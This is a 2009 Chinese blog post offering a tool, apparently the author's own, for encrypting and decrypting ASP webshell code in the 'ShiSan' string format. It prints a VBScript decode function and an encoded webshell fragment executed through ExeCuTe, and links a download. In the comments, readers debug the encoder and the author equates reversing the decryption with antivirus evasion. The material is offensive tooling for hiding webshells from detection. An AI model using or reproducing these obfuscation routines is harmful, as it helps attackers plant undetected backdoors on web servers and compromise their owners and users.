• 欢迎访问金刀客博客!
  • 2019,春节快乐!

十三字符加解密工具

原创天空 admin 4706次浏览 已收录 5个评论

逆的十三的一个解密函数,可用于webshell的加密和解密。上图

解密函数:
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, “╁”, “”””)
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> “╋” Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) +ShiSanNewStr
Else
ShiSanNewStr = vbCrLf + ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function
使用方法:
上面是十三的一个解密函数,俺相应的逆了一个加密函数,把加密的字串复制到这个文本框中就可以进行
解密和加密了。
比如:
ShiSan=”╋╋ssapresu=prevres╋lru&)╁tsoh_ptth╁(selbairavrevres.tseuqer=urevres╋)╁/╁(htaPpaM.revreS=tooRWWW╋)╁.╁(htaPpaM.revreS=htaPtooR╋)╁noitcA╁(tseuqeR=noitcA╋)╁RDDA_LACOL╁(selbairaVrevreS.tseuqeR=PIrevreS╋)╁LRU╁(selbairaVrevreS.tseuqeR=LRU”
ExeCuTe(ShiSanFun(ShiSan))
输入双引号(“”)中的乱码就行了。
2009.10.9
金刀客-https://www.daokers.com
使用方法:

软件下载地址:
点击下载此文件


金刀客博客 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明十三字符加解密工具
喜欢 (0)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到
(5)个小伙伴在吐槽
  1. 饿, 知道了,加密的时候少了╋╋
    admin 于 2010-06-24 00:17 AM 回复
    :-)
    theend2010-06-23 20:40 回复
  2. 不知道是我的用法错误还是怎样,即使是用这工具本身加密的,然后再解密 都会显示“你确定所加密代码的解密函数与ShiSanFun函数一样?”
    admin 于 2010-06-24 00:17 AM 回复
    :-D
    theend2010-06-23 20:13 回复
  3. 是解密的,但是解密了之后不能运行啊。<%Response.write "123"%>先加密成为>%`321` etirw.esnopseR%<,然后在解密执行,正常应该输出123,可是运行了不输出123.
    admin 于 2009-10-15 09:24 AM 回复
    你没有加上解密函数吧
    qq3949316032009-10-15 08:49 回复
  4. 我比较笨。加密函数写好了。不会加密。 <% dim str,newstr,ps,i str=">%`321` etirw.esnopseR%<" newstr=replace(str,"`","""") newstr=replace(newstr,"~",chr(13)&chr(10)) for i=1 to len(newstr) ps=mid(newstr,i,1)&ps next ' Response.write ps ExeCuTe(ps) %> 这个有问题吗?加密的那一段是<%Response.write "123"%> 如何还原?
    admin 于 2009-10-15 00:35 AM 回复
    这个是解密函数吧,不知道该怎么回答你的问题了
    qq3949316032009-10-14 14:13 回复
  5. 看过你的文章,都很不错。 希望能写一篇系统的webshell 免杀文章。。。
    admin 于 2009-10-13 07:26 PM 回复
    呵呵,多谢支持,解密的逆向不就是免杀了吗?
    qq3949316032009-10-13 17:33 回复